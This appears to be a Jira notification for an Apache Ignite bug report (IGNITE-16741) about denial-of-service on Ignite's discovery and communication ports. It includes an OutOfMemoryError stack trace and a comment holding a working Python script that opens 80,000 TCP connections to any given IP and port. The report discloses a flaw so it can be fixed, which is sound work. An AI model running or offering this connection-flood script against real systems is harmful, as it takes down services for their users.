[
https://issues.apache.org/jira/browse/IGNITE-16741?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17522016#comment-17522016
]
biandeqiang commented on IGNITE-16741:
--------------------------------------
import sys
import socket
import time
s = []
def main():
try:
if sys.argv[1]:
ip = sys.argv[1]
if sys.argv[2]:
port = int(sys.argv[2])
connect_attack(ip,port)
except IndexError:
print("Please add two parameters as IP and port")
def connect_attack(ip,port):
for i in range(80000):
s.append(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
s[i].connect((ip, port))
if (i % 500 == 0):
print(i)
# time.sleep(1)
if __name__ == "__main__":
main()
> DoS attacks on ignite ports
> ---------------------------
>
> Key: IGNITE-16741
> URL: https://issues.apache.org/jira/browse/IGNITE-16741
> Project: Ignite
> Issue Type: Bug
> Affects Versions: 2.11.1
> Reporter: biandeqiang
> Assignee: Aleksandr Polovtcev
> Priority: Critical
> Labels: ise
>
> DoS attacks on ignite's TcpCommunicationSpi and TcpDiscoverySpi's ports
> The ignite I use is embedded,ignite uses two ports, When I was testing a dos
> attack on the port, ignite had java.lang.OutOfMemoryError: Direct buffer
> memory.
> TcpDiscoverySpi spi = new TcpDiscoverySpi();
> spi.setLocalPort("port")
> TcpCommunicationSpi ipCom = new TcpCommunicationSpi();
> ipCom.setLocalPort("port")
>
> {{[2021-12-01 14:12:59,056][WARN
> ][0][0][grid-nio-worker-tcp-comm-4-#43%TcpCommunicationSpi%][ROOT][IgniteLoggerImp][88]
> Caught unhandled exception in NIO worker thread (restart the node).
> java.lang.OutOfMemoryError: Direct buffer memory
> at java.nio.Bits.reserveMemory(Bits.java:695)
> at java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:123)
> at java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:311)
> at
> org.apache.ignite.internal.util.nio.GridNioServer$AbstractNioClientWorker.register(GridNioServer.java:2672)
> at
> org.apache.ignite.internal.util.nio.GridNioServer$AbstractNioClientWorker.bodyInternal(GridNioServer.java:2089)
> at
> org.apache.ignite.internal.util.nio.GridNioServer$AbstractNioClientWorker.body(GridNioServer.java:1910)
> at org.apache.ignite.internal.util.worker.GridWorker.run(GridWorker.java:120)
> at java.lang.Thread.run(Thread.java:748)}}
>
> I hope Ignite can also add MaxConnect as Tomcat and set a counter. If the
> counter exceeds the value, wait for several seconds.{{{}{}}}
--
This message was sent by Atlassian Jira
(v8.20.1#820001)